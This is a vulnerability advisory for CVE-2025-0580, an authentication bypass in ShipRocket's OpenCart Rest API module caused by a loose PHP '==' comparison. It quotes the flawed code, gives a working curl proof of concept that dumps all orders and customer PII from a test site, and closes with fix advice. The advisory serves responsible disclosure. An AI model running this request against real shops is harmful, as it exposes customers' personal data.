The ShipRocket OpenCart Rest API module has an access bypass vulnerability, as a result of a logic error and type confusion in PHP.
This allows an unauthenticated attacker to access Personally Identifiable Information (PII) and other potentially sensitive information stored in the site's database. It may also be possible to make changes to the site's database.
- 2025-01-07: mcdruid informs ShipRocket of this vulnerability
- https://www.shiprocket.in/knowledgebase/integrate-opencart-ShipRocket/
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=29734
- Vulnerable versions:
- shiprocket_v3 (Aug, 28 2018)
- Previous versions not tested but possibly also vulnerable.
- Tested with OpenCart 3.0.4.0
- CWE-863: Incorrect Authorization
- CAPEC-115: Authentication Bypass
- CVSS (v3): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N 8.2 High
- CVE: CVE-2025-0580
In the examples below, a simple OpenCart test site has been set up with the ShipRocket Rest API OpenCart module installed. No further configuration is necessary.
The vulnerability is caused by the following authentication code:
$publicHash = @$this->request->server['HTTP_X_PUBLIC'];
if (isset($publicHash) && !empty($publicHash)) {
$contentHash = $this->request->server['HTTP_X_HASH'];
The supplied $publicHash
is looked up in the database, after which:
if ($result->num_rows > 0) {
$privateHash = $result->row['private_key'];
$hash = hash_hmac('sha256', $publicHash, $privateHash);
} else {
$hash = '';
}
if ($hash == $contentHash) {
return true;
} else {
$this->response->addHeader('HTTP/1.1 401 Not Authorized');
The value of $contentHash
is taken from a custom HTTP header.
If the x-hash
header is sent with an empty value, $contentHash
is set to an
empty string.
If the x-hash
header is omitted, $contentHash
is set to null
.
The comparison uses ==
rather than the strictly typed ===
(see:
https://www.php.net/manual/en/language.operators.comparison.php ).
This means that if the value of the x-hash
header loosely equates to an empty
string (after PHP's type juggling), authentication is successful.
Therefore an attacker can achieve this by sending an arbitrary value for the
x-public
header (one which does not match a public key in the database) and an
empty value for the x-hash
header (or by simply omitting the x-hash
header).
For example, the following will retrieve full details of all orders in the db.
$ curl -s 'http://opencart3.ddev.site/index.php?route=extension/module/rest_api&action=getOrders' -H 'x-public: foo' -H 'x-hash;' | jq
{
"status": 200,
"data": "[{\"order_id\":\"1\",\"invoice_no\":\"0\",\"invoice_prefix\":\"INV-2025-00\" ...snip... \"firstname\":\"First\",\"lastname\":\"Last\",\"email\":\"email@example.com\",\"telephone\":\"12345\",\"fax\":\"\",\"custom_field\":\"[]\",\"payment_firstname\":\"First\",\"payment_lastname\":\"Last\",\"payment_company\":\"\",\"payment_address_1\":\"Address1\" ...snip... \"payment_method\":\"Cash On Delivery\" ...snip...
(Note curl's syntax for sending an empty header using a semi-colon.)
The authentication code could / should:
- Check for the presence and validity of both customer headers.
- If there's no match for the hash in the db, the method could return
immediately or perhaps set
$hash
toFALSE
rather than an empty string. - If the comparison is reached, it should use the strictly typed
===
instead of==
to avoid type confusion errors.